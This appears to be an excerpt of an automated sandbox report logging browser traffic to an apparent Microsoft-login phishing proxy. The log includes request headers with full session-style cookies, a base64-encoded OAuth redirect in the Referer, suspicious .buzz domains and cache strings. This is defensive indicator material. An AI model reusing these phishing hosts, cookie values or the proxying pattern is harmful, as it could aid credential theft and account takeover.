buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8o
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJ
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: account.tctmagazine.com
Source: global traffic	DNS traffic detected: DNS query: mighty-calm-plum-toucan.easy2.de
Source: global traffic	DNS traffic detected: DNS query: static.web-repository.com
Source: global traffic	DNS traffic detected: DNS query: fonts.bunny.net
Source: global traffic	DNS traffic detected: DNS query: content.app-sources.com
Source: global traffic	DNS traffic detected: DNS query: service-api.app-sources.com
Source: global traffic	DNS traffic detected: DNS query: perspectivemeaningful.buzz
Source: global traffic	DNS traffic detected: DNS query: interconnectednessresilient.buzz
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /page-hit?r=1736866559995 HTTP/1.1Host: service-api.app-sources.comConnection: keep-aliveContent-Length: 219sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonX-Website-Hash: OzNL0pJuEwONmkBrhnwiEOXv1N04PoaICG1jobhyrT7e2w6NxjKz2SZa0jZSBmHivrxX/+Cr4XolUe275c38YbeGAt+sMTyt07at6qonQn+XWS1Jjl5JChmPxuf1f7okRvLNb50ZFOJv+pxtzntnb9KOriq7YO/FrAlYavxCEXj7xBfOlirJyMT+2buL/rZK4j0r+xraxLC7hUUYz6z0/P/dHt1ssOMj7bMdoVynPAuLiB/4Ltg4I5GFf2TIjSu7cudoxNQy+DQoLYxWoJVkgg==sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://mighty-calm-plum-toucan.easy2.deSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 14:56:03 GMTContent-Type: application/jsonContent-Length: 23Connection: closeapigw-requestid: EYgophFtoAMENCQ=
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 477f31c8-5b39-48b7-a707-64344d074600x-ms-ests-server: 2.1.19870.3 - NCUS ProdSlicesnel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originContent-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-b3b3cJ-2hK0rbkJhmUlT3w' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-AllDate: Tue, 14 Jan 2025 14:56:17 GMTConnection: closeContent-Length: 0Content-Security-Policy: default-src data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: chromecache_99.3.dr	String found in binary or memory: http://cssreset.com
Source: chromecache_99.3.dr	String found in binary or memory: http://daneden.me/animate
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://github.com/rstacruz/jquery.transit
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_74.3.dr, chromecache_105.3.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_87.3.dr	String found in binary or memory: http://narrprcom.buzz/
Source: chromecache_99.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://ricostacruz.com/jquery.transit
Source: chromecache_87.3.dr	String found in binary or memory: http://schema.org/WebPage
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_74.3.dr, chromecache_105.3.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_73.3.dr, chromecache_95.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_74.3.dr, chromecache_105.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: sets.json.1.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.1.dr	String found in binary or memory: https://24.hu
Source: sets.json.1.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.1.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.1.dr	String found in binary or memory: https://alice.tw
Source: sets.json.1.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.1.dr	String found in binary or memory: https://autobild.de
Source: sets.json.1.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.1.dr	String found in binary or memory: https://bild.de
Source: sets.json.1.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.1.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.1.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.1.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.1.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.1.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.1.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.1.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.1.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.1.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.1.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.1.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.1.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.1.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.1.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.1.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.1.dr	String found in binary or memory: https://chennien.com
Source: sets.json.1.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.1.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.1.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.1.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.1.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.1.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.1.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.1.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.1.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.1.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.1.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.1.dr	String found in binary or memory: https://content-loader.com
Source: chromecache_87.3.dr	String found in binary or memory: https://content.app-sources.com/
Source: chromecache_87.3.dr	String found in binary or memory: https://content.app-sources.com/s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png
Source: chromecache_87.3.dr	String found in binary or memory: https://content.app-sources.com/s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036
Source: sets.json.1.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.1.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.1.dr	String found in binary or memory: https://css-load.com
Source: sets.json.1.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.1.dr	String found in binary or memory: https://deere.com
Source: sets.json.1.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.1.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.1.dr	String found in binary or memory: https://drimer.io
Source: sets.json.1.dr	String found in binary or memory: https://drimer.travel
Source: chromecache_87.3.dr	String found in binary or memory: https://easy2.de/
Source: sets.json.1.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.1.dr	String found in binary or memory: https://een.be
Source: sets.json.1.dr	String found in binary or memory: https://efront.com
Source: sets.json.1.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.1.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.1.dr	String found in binary or memory: https://elgrafico.com
